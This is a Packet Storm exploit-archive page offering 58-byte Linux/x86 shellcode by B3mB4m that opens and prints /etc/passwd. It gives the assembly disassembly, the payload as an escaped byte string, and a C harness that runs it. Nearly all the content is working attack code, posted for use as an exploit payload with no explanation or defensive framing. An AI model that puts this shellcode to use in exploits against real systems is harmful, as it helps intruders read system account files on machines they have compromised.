what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 /etc/passwd Reading Shellcode

Linux/x86 /etc/passwd Reading Shellcode
Posted Jun 16, 2015
Authored by B3mB4m

58 bytes small Linux/x86 /etc/passwd reading shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | 6563636ad1d60a1ea50d144df18758818cb2033648591b1d94ca955faf18635f

Linux/x86 /etc/passwd Reading Shellcode

Change Mirror Download
Linux/x86 - /etc/passwd Reader - 58 bytes

#Greetz : Bomberman(Leader),wiremask.eu
#Author : B3mB4m
#Concat : Do not disturb - Bomberman
#Bu adamı geçmeden konuşmaya iznim yok.Iki yıl sonra görüşmek üzre :)

#Info
#File descriptor on EBX
#Buffer on ECX
#Bytes to read on EDX


Disassembly of section .text:

08048060 <.text>:
8048060: 31 c9 xor %ecx,%ecx
8048062: 31 c0 xor %eax,%eax
8048064: 31 d2 xor %edx,%edx
8048066: 51 push %ecx
8048067: b0 05 mov $0x5,%al
8048069: 68 73 73 77 64 push $0x64777373
804806e: 68 63 2f 70 61 push $0x61702f63
8048073: 68 2f 2f 65 74 push $0x74652f2f
8048078: 89 e3 mov %esp,%ebx
804807a: cd 80 int $0x80
804807c: 89 d9 mov %ebx,%ecx
804807e: 89 c3 mov %eax,%ebx
8048080: b0 03 mov $0x3,%al
8048082: 66 ba ff 0f mov $0xfff,%dx
8048086: 66 42 inc %dx
8048088: cd 80 int $0x80
804808a: 31 c0 xor %eax,%eax
804808c: 31 db xor %ebx,%ebx
804808e: b3 01 mov $0x1,%bl
8048090: b0 04 mov $0x4,%al
8048092: cd 80 int $0x80
8048094: 31 c0 xor %eax,%eax
8048096: b0 01 mov $0x1,%al
8048098: cd 80 int $0x80


#include <stdio.h>
#include <string.h>

char *shellcode =
"\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

int main(void){
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close